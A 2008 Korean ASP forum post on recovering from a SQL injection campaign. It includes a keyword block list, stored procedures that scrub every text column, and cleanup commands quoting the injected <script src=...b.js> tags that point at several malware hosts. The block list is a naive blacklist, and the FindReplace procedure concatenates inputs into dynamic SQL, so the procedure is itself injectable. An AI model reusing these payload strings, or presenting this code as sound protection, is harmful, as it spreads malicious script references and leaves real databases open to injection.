sub_title
 ASP
제   목 ASP SQL 인젝션 방어와 복구
작성자 억새풀 등록일 2008-12-26 16:25:22 조회수 215,574

요새 최대 화두는 SQL Injection 인 것 같습니다. 데이터베이스 백업을 잘 해 두었다면, 공격을 당했더라도 복구하면 끝
인데  백업이 안된 상태라면 큰 낭패입니다. 그래도 스크립트 코드가 데이터의 뒷부분부터 삽입되었다면 해당 스크립트
만 제거하면 되는데 데이타의 본 부분을 잠식했다면 답이 없습니다. 

아래는 퍼온 글인데, 첫 부분의 Attach code in dbconn.inc 는 QueryString으로 넘어오는 Injection 공격에 대한 방어
부분이고  그 아래의 sp 부분은 삽입된 스크립트를 제거하는부분입니다.

----------------------------------------    원 문     ------------------------------------------------

출처:http://zeshai.tistory.com/entry/SQL-injection-bjs

아놔... 며칠 간 저넘의.... sql injection 때메 고생 좀 했습니다.

미국에 있는 서버라 작업하기도 엄청 느리고...

요즘 유행인가 보네요, 봇으로... 무작위로 들어옵니다.

여러 좀비 서버에 js 파일들 배치시켜두고,  

database 테이블들에 varchar, text 이런 필드에 <script> 구문이나 <iframe>으로 넣어두고 있습니다.

여기 웹 사이트... 참조하시고...  http://isc.sans.org/diary.html?storyid=4565

대개 파일은 0.js 1.js b.js fuckjp.js  이런식이네요...


윈도우 서버라 asp 파일들이 데이터베이스에 접속하는 부분이 담긴 파일을 include 해서 사용합니다.

그 파일에 다음과 같은 내용을 추가해줍니다.

Attach code in dbconn.inc

<%
' Code for preventing SQL Injection

' Injection Keyword

array_split_item = Array("-", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "exec","execute", "fetch", "insert", "kill", "open","select", "sys", "sysobjects", "syscolumns","table", "update", "<script", "</script>", "'")

for each item in Request.QueryString

for array_counter = lbound(array_split_item) to ubound(array_split_item)

item_position1 = InStr(lcase(Request(item)), array_split_item(array_counter))

'Response.Write(array_split_item(array_counter) & "<BR>")

if item_position1 > 0 then
Response.Write("Command cannot be executed.")
Response.End()
end if

next
next

%>


그리고 SQL 서버에 다음의 두 쿼리를 날려서 SP 두개를 생성합니다.

Create FindReplace stored procedure

create PROCEDURE FindReplace
 (
 @TABLE  VARCHAR(200),
 @Field  VARCHAR(200),
 @WHERE VARCHAR(100),
 @Find  VARCHAR(500),
 @REPLACE  VARCHAR(500)
 )
 AS
 DECLARE @query VARCHAR(8000)
 SET @query  =  'UPDATE ' +  @TABLE +
                ' SET ' +  @Field + '= REPLACE(CONVERT(varchar(8000),'
               + @Field + '),''' +  @Find + ''',''' + @REPLACE  +''')'
 IF(@WHERE <> '')
         SET @query = @query + ' WHERE '+@WHERE
      
 EXECUTE (@query)
 GO

Create RemoveStringFinal Procedure
create Procedure RemoveStringFinal
 @FIND  VARCHAR(500),
 @REPLACE  VARCHAR(500)

as

DECLARE @TABLE_NAME VARCHAR(500)
DECLARE @COLUMN_NAME VARCHAR(500)
DECLARE @DATA_TYPE VARCHAR(500)
DECLARE db_cursor CURSOR FOR
  select  TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS

OPEN db_cursor
FETCH NEXT FROM db_cursor INTO @TABLE_NAME, @COLUMN_NAME, @DATA_TYPE

WHILE @@FETCH_STATUS = 0
BEGIN
       if @DATA_TYPE = 'varchar' or @DATA_TYPE = 'text' or @DATA_TYPE = 'ntext' or @DATA_TYPE = 'nvarchar'
          begin

     print @TABLE_NAME
            print @COLUMN_NAME
     print @DATA_TYPE
 
              EXEC FindReplace @TABLE_NAME,@COLUMN_NAME,'',@FIND,@REPLACE

          end     

       FETCH NEXT FROM db_cursor INTO @TABLE_NAME, @COLUMN_NAME, @DATA_TYPE
END

CLOSE db_cursor
DEALLOCATE db_cursor


이제 exec로 SP를 써먹어 DB에 들어간 코드들을 지워줍니다.

제 서버에는 아래 <script>로 쌓인 데이터가 있어서 아래와 같이.. 싹 날려줬져...

심심하지 않은 이틀이었네요...


Run stored procedure example

EXEC RemoveStringFinal '<script src=http://www.alzhead.com/b.js></script>',''
EXEC RemoveStringFinal '<script src=http://www.chkbnr.com/b.js></script>',''
EXEC RemoveStringFinal '<script src=http://www.adwbnr.com/b.js></script>',''
EXEC RemoveStringFinal '<script src=http://www.coldwop.com/b.js></script>',''
EXEC RemoveStringFinal '<script src=http://www.chkadw.com/b.js></script>',''

 
0
    
 
0
        list
 
※ 짧은 댓글일수록 예의를 갖추어 작성해 주시기 바랍니다.
line
reply cancel
 
번호 제목 글쓴이 추천 조회 날짜
81  ASP 파일의 존재유무를 체크하여 존재하면 삭제하기   member 오렌지 2 / 0 221866 2010-01-23
80  ASP - 정규식을 이용한 html 태그 제거 함수   member 오렌지 0 / 0 210248 2009-02-25
79  ASP 파일 확장자 제한하기   admin 웹마당넷 4 / 0 226127 2009-02-22
78  ASP - BASE64 인코딩 디코딩 함수 첨부파일   member 오렌지 2 / 1 229190 2009-02-06
77  ASP로 다국어(UTF-8) 지원 사이트 개발   admin 웹마당넷 0 / 0 214080 2009-01-27
76  ASP를 사용하여 SSL 요구   member 웹스톤 0 / 0 208133 2009-01-12
75  ASP용 MD5 함수 첨부파일   member 티란투라 0 / 0 219571 2009-01-07
74  ASP 로그인시 로그기록을 남기는 예제 첨부파일   admin 웹마당넷 0 / 0 215929 2009-01-04
73  ASP SQL 인젝션 방어와 복구   member 억새풀 0 / 0 215574 2008-12-26
72  ASP에서 REFERER 를 이용한 페이지 직접 접근 막기   member 억새풀 1 / 0 292728 2008-12-23
71  ASP 자동링크 함수   member 웹스톤 0 / 0 214883 2008-12-16
70  ASP 영문으로된 월 이름(Month Name) 구하기   admin 웹마당넷 0 / 0 211213 2008-12-09
69  ASP 문장 연결 표시(line continuation)   admin 웹마당넷 0 / 0 212271 2008-12-08
68  ASP 이름이 같은 폼태그(Form Tag)의 값(value) 처리하기   admin 웹마당넷 0 / 0 219343 2008-12-05
67  ASP OBJECT 태그를 이용한 OLEDB 연결   admin 웹마당넷 4 / 1 223617 2008-11-12
66  ASP 로그인(Login) 처리 예제 (OLEDB) 첨부파일   admin 웹마당넷 0 / 0 242837 2008-10-10
65  ASP 검색 페이지에서 검색된 문자열의 색깔 바꾸기   admin 웹마당넷 0 / 0 208396 2008-10-03
64  ASP 로그인(Login) 처리 예제 (ODBC) 첨부파일   admin 웹마당넷 0 / 0 244788 2008-10-02
63  ASP에서 XML 파일 읽어들이기   admin 웹마당넷 0 / 0 211984 2008-09-25
62  ASP 세션(Session)에 배열 저장하기   admin 웹마당넷 0 / 0 208416 2008-09-24
61  ASP For Each Next 순환문을 이용한 선택된 체크박스의 값 알아내기 첨부파일   admin 웹마당넷 1 / 0 236406 2008-09-23
60  ASP에서 날짜, 요일구하기   admin 웹마당넷 0 / 0 234699 2008-09-20
59  asp 페이지를 유니코드(unicode)로 출력하기   member 웹스톤 0 / 0 215090 2008-09-20
58  [ASP] 사이트 링크의 유효성 검사   member 다자래 0 / 0 206118 2008-08-22
57  [ASP] 퀵정렬   member 다자래 0 / 0 213894 2008-08-20
write
[2] [3] [4] button